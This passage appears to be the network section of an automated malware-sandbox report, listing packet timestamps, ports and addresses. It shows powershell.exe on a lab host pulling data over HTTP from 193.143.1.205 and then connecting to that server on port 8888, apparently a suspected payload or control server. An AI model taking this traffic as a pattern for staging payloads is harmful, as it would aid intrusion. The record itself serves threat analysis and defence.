Jan 11, 2025 05:09:19.081104040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081115961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081145048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081168890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081413984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081453085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081465006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081496000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081521988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081533909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081547022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081559896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081572056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081598043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081718922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081729889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081743002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081757069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081769943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081769943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081785917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081793070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081800938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081824064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081840038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081871033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081882954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081897020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081911087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081923962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081927061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081939936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081947088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.081950903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.081990004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082420111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082432032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082448006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082468987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082469940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082484961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082499027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082506895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082509041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082526922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082556009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082556963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082568884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082581997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082596064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082609892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082611084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082643032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082700968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082715034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082726955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082739115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082751036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082762957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082773924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082777023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082786083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082796097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082799911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082811117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.082823038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.082849026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.083369970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.083384037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.083455086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.086545944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118689060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118710041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118720055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118731022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118743896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118753910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118767023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118786097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118849039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118855000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118861914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118874073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118886948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118887901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118900061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118917942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118930101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118946075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.118952990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.118993044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.128673077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128695011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128705025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128746986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128766060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128768921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.128778934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128791094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128803015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128823996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.128845930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128846884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.128858089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128870010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.128923893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.129081964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129092932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129103899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129115105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129122019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.129127979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129151106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.129189968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129190922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.129225016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129236937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129246950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129260063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.129266977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.129287958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.166717052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166763067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166779995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166793108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166814089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166858912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.166918039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.166934967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.166965961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167016983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167028904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167071104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167104959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167139053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167200089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167212963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167238951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167306900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167325974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167341948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167349100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167356014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167371035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167380095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167398930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167409897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167412996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167428017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167448044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167459965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167467117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167471886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167484999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167488098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167496920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167510986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167514086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167536020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167543888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167556047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167567015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167579889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167583942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167604923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167643070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167655945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167669058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167682886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167689085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167701960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167768955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167779922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167798042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167807102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167810917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167828083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167841911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167862892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.167905092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167917013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167927027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167939901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167951107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.167953968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168091059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168102980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168112993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168116093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168128014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168139935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168142080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168154001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168164015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168178082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168185949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168196917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168210030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168220997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168221951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168232918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168242931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168246031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168258905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168271065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168275118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168299913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168319941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168330908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168348074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168363094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.168364048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.168385029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.171708107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171755075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.171776056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171787977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171799898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171812057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171833038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.171861887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.171981096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.171993971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172005892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172019005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172029018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172030926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172045946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172058105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172059059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172079086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172081947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172091961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172103882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172120094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172126055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172137976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172139883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172153950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172164917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172175884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172185898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172195911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.172224045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.172240973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.173706055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.205445051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205460072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205471992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205552101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205564022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205569029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.205579042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205591917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205605030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.205620050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.205647945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215362072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215383053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215394020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215423107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215435028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215445042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215447903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215462923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215475082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215501070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215509892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215522051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215547085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215600967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215611935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215622902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215635061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215642929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215647936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215671062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215692043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215753078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215770960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215783119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215794086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215807915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215811014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215823889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215835094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215846062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215847969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.215863943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.215888023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253448963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253542900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253590107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253618002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253628016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253647089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253658056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253676891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253706932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253714085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253736019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253766060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253792048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253808022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253819942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253834963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.253848076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253880978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.253890991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.295938015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.321363926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.701711893 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.706633091 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:19.706773996 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.707452059 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:19.712310076 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:20.496778965 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:20.545953989 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:20.780908108 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:11:02.588802099 CET	57160	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:11:02.594182014 CET	53	57160	1.1.1.1	192.168.2.4
Jan 11, 2025 05:11:02.596402884 CET	57160	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:11:02.596402884 CET	57160	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:11:02.601310968 CET	53	57160	1.1.1.1	192.168.2.4
Jan 11, 2025 05:11:03.060359955 CET	53	57160	1.1.1.1	192.168.2.4
Jan 11, 2025 05:11:03.065525055 CET	57160	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:11:03.070540905 CET	53	57160	1.1.1.1	192.168.2.4
Jan 11, 2025 05:11:03.070612907 CET	57160	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:09:32.935488939 CET	51681	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:11:02.585932016 CET	53	50289	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:09:32.935488939 CET	192.168.2.4	1.1.1.1	0x4405	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:09:32.942962885 CET	1.1.1.1	192.168.2.4	0x4405	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

